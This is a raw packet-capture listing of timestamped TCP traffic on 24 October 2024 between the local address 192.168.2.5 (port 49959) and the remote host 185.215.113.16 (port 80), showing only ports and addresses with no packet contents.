Oct 24, 2024 19:30:09.188267946 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188276052 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188294888 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188322067 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188374996 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188389063 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188402891 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188406944 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188419104 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188425064 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188440084 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188446045 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188453913 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188461065 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188476086 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188477039 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188494921 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188498974 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188512087 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188514948 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188527107 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188527107 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188546896 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188561916 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188642979 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188659906 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188677073 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188682079 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188693047 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188698053 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188713074 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188713074 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188729048 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188729048 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188745022 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188745975 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188760042 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188762903 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188776970 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188777924 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188788891 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188793898 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188803911 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188807964 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188818932 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188826084 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188834906 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188843012 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188853025 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188858032 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188874960 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188889980 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188913107 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188925028 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188941002 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188942909 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188956022 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188958883 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188971043 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188976049 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.188987017 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.188992023 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189007044 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189023018 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189045906 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189059973 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189074993 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189076900 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189089060 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189096928 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189104080 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189110994 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189120054 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189127922 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189143896 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189147949 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189157009 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189179897 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189208984 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189224005 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189239025 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189244032 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189265013 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189280987 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189302921 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189316988 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189332008 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189349890 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189357042 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189366102 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189382076 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189385891 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189402103 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189429045 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189450026 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189480066 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.189481020 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.189512968 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253115892 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253173113 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253195047 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253210068 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253225088 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253238916 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253252029 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253252983 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253269911 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253285885 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253304958 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253325939 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253401995 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253417015 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253433943 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253434896 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253459930 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253479958 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253547907 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253561974 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253576994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253580093 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253592968 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253597975 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253613949 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253627062 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253685951 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253700018 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253714085 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253727913 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253729105 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253746033 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253747940 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253767967 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253768921 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253792048 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253807068 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253839970 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253851891 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253865957 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253870010 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253884077 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253887892 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253905058 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253906012 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253915071 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253921032 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253935099 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253936052 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253948927 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253952026 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.253968954 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253984928 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.253987074 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254002094 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254018068 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254019976 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254033089 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254039049 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254057884 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254070997 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254097939 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254111052 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254125118 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254127026 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254138947 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254153967 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254199982 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254215002 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254230022 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254234076 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254254103 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254268885 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254271984 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254277945 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254286051 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254286051 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254303932 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254318953 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254532099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254544020 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254559994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254576921 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254589081 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254625082 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254640102 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254653931 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254662991 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254703999 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254729986 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254744053 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254760027 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254765034 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254787922 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254848957 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254863977 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254879951 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254882097 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254905939 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254920006 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254928112 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254941940 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254959106 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254960060 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.254977942 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.254996061 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255008936 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255024910 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255039930 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255040884 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255055904 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255057096 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255072117 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255072117 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255083084 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255103111 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255228043 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255243063 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255259991 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255268097 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255292892 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255292892 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255307913 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255333900 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255351067 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255376101 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255384922 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255398035 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255424976 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255481958 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255497932 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255512953 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255515099 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255532026 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255551100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255572081 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255600929 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255723000 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255738020 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255753994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255755901 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255769968 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255774975 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255785942 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.255789042 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255804062 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.255820036 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.256318092 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.256351948 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.256359100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.256367922 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.256423950 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.256423950 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.256449938 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.256464958 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.256483078 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.256496906 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.256505966 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.256546974 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257174969 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257190943 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257217884 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257219076 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257231951 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257251024 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257260084 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257273912 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257292032 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257316113 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257318974 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257333994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257349968 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257359982 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257373095 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257399082 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257401943 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257416964 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257435083 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257447004 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257453918 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257468939 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257487059 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257498980 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257505894 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257520914 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257535934 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257544994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257584095 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257602930 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257616997 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257632017 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257649899 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257664919 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257678986 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257693052 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257710934 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257724047 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257730007 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257744074 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257761002 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257776976 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257786036 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257800102 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257817030 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257831097 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257834911 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257849932 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257867098 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257882118 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257888079 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257903099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257920980 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257934093 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257942915 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257957935 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.257975101 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257989883 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.257997990 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258028984 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258030891 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258044958 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258063078 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258074045 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258089066 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258104086 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258124113 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258125067 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258137941 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258138895 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258153915 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258158922 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258169889 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258177042 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258203030 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258229017 CEST	80	49959	185.215.113.16	192.168.2.5
